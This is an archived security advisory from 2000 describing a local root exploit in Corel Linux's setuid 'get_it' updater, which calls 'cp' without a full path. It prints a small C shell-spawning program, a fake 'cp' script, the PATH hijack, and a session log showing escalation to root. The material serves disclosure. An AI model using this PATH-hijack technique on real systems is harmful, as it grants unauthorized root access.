what you don't know can hurt you

update.htm

update.htm
Posted Jan 21, 2000
Site oliver.efri.hr

orel Linux comes with a program called "Corel Update" to manage the ".deb" files. This X oriented program is setuid root. The program is "get_it" and it's located in the /usr/X11R6/bin directory. If you can run it, it's easy to get root privileges in your system.

tags | exploit, root
systems | linux
MD5 | 66b2d0f2969de53239c47de95ee7eebb

update.htm

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<!DOCTYPE HTML PUBLIC "html.dtd">
<HTML>
<BODY BGCOLOR="#000000" TEXT="#FFFFFF"><PRE>
<FONT COLOR="#CC0000">COMMAND</FONT>

update

<FONT COLOR="#CC0000">SYSTEMS AFFECTED</FONT>

Corel Linux

<FONT COLOR="#CC0000">PROBLEM</FONT>

Cesar Tascon Alvarez found following. Corel Linux comes with a
program called "Corel Update" to manage the ".deb" files. This X
oriented program is setuid root. The program is "get_it" and it's
located in the /usr/X11R6/bin directory.

If you can run it, it's easy to get root privileges in your
system. It copies two files to the temp directory, taking no care
to verify how. In fact, it calls the "cp" program WITHOUT THE
WHOLE PATH!!

The only thing you have to do to hack root, is to change your PATH
to execute your personal copy of the program. Let's see the
example:
<FONT COLOR="#00FF00">
Script started on Wed Jan 12 01:58:17 2000
CorelLinux:~$ id
uid=1001(tascon) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~$ cat misu.c
#include <stdio.h>
#include <unistd.h>

main(argc,argv)
int argc;
char **argv;
{
if (argc==2);
setuid(atoi(argv[1]));
execlp("/bin/bash","/bin/bash",NULL);
}
CorelLinux:~$ cc -o misu misu.c
CorelLinux:~$ pwd
/home/tascon
CorelLinux:~$ cat cp
echo $1 $2 $3
/home/tascon/misu 0
CorelLinux:~$ export PATH=.:$PATH
CorelLinux:~$ get_it
/usr/X11R6/share/apps/get_it/html/largebanner.html /tmp/Get_It.0.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon)
CorelLinux:~# exit
exit
/usr/X11R6/share/apps/get_it/html/smallbanner.html /tmp/Get_It.1.a05872
CorelLinux:~# id
uid=0(root) gid=1001(tascon) groups=1001(tascon)
</FONT>
<FONT COLOR="#CC0000">SOLUTION</FONT>

Easy to patch, isn't it?
</PRE></BODY>
</HTML>

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